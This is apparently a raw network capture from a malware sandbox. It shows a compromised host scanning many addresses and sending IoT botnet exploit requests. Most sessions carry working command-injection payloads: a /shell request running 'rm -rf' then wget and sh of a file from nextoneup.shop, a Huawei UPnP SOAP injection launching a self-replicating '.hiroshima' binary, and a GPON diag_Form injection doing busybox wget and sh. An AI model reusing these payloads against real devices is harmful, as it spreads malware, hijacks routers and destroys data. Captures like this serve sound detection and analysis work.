Apr 14, 2024 04:01:18.953279018 CEST	496	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 14 Apr 2024 02:01:18 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://old.myfave.com/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Strict-Transport-Security: max-age=31536000; includeSubDomains Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1873	192.168.2.13	54664	2.23.225.45	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:19.302114964 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:19.736365080 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:19 GMT Date: Sun, 14 Apr 2024 02:01:19 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 35 37 65 39 34 35 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 39 26 23 34 36 3b 34 62 65 39 63 34 38 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 36 35 37 65 39 34 35 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 39 26 23 34 36 3b 34 62 65 39 63 34 38 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.657e9452.1713060079.4be9c48<P>https://errors.edgesuite.net/9.657e9452.1713060079.4be9c48</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1874	192.168.2.13	60918	104.68.110.236	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:19.481800079 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:19.660679102 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:19 GMT Date: Sun, 14 Apr 2024 02:01:19 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 62 35 65 64 36 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 39 26 23 34 36 3b 31 64 31 63 63 65 30 63 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 35 62 35 65 64 36 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 39 26 23 34 36 3b 31 64 31 63 63 65 30 63 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5b5ed617.1713060079.1d1cce0c<P>https://errors.edgesuite.net/9.5b5ed617.1713060079.1d1cce0c</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1875	192.168.2.13	34234	54.156.22.68	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:19.536137104 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1876	192.168.2.13	43492	178.128.249.27	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:19.624615908 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:19.944160938 CEST	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 Apr 2024 02:01:19 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1877	192.168.2.13	47224	217.198.1.19	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:19.666105986 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1878	192.168.2.13	40918	156.241.97.130	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:20.764935017 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1879	192.168.2.13	59576	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:20.969166040 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 32 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:23Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1880	192.168.2.13	59024	178.231.42.131	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:21.207222939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1881	192.168.2.13	51844	212.252.125.6	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:21.207246065 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1882	192.168.2.13	55768	202.154.74.208	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:21.207246065 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1883	192.168.2.13	50454	42.239.147.208	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:21.207283974 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1884	192.168.2.13	37438	117.123.227.48	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:21.207299948 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1885	192.168.2.13	58878	117.116.221.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:21.207318068 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1886	192.168.2.13	59596	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:21.641252995 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 32 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:24Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1887	192.168.2.13	60336	35.186.240.219	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:22.226449013 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:22.461575985 CEST	227	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:22 GMT Content-Length: 74 Content-Type: text/plain; charset=utf-8 Via: 1.1 google Data Raw: 72 65 73 70 6f 6e 73 65 20 34 30 34 20 28 62 61 63 6b 65 6e 64 20 4e 6f 74 46 6f 75 6e 64 29 2c 20 73 65 72 76 69 63 65 20 72 75 6c 65 73 20 66 6f 72 20 74 68 65 20 70 61 74 68 20 6e 6f 6e 2d 65 78 69 73 74 65 6e 74 20 0a Data Ascii: response 404 (backend NotFound), service rules for the path non-existent

Session ID	Source IP	Source Port	Destination IP	Destination Port
1888	192.168.2.13	59626	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:22.297856092 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 32 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:25Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1889	192.168.2.13	59210	23.76.198.249	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:22.301795959 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:22.548489094 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:22 GMT Date: Sun, 14 Apr 2024 02:01:22 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 36 63 36 38 38 34 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 32 26 23 34 36 3b 31 38 38 66 32 33 36 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 31 36 63 36 38 38 34 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 32 26 23 34 36 3b 31 38 38 66 32 33 36 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.16c68848.1713060082.188f236<P>https://errors.edgesuite.net/9.16c68848.1713060082.188f236</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1890	192.168.2.13	33596	38.38.20.188	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:22.397413015 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:22.568384886 CEST	139	IN	HTTP/1.1 404 Not Found Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Sun, 14 Apr 2024 02:01:18 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1891	192.168.2.13	55160	34.141.65.190	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:22.718384027 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:23.039798021 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:22 GMT Server: Apache/2.4.56 (Debian) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.56 (Debian) Server at 127.0.0.1 Port 80</address></body></html>
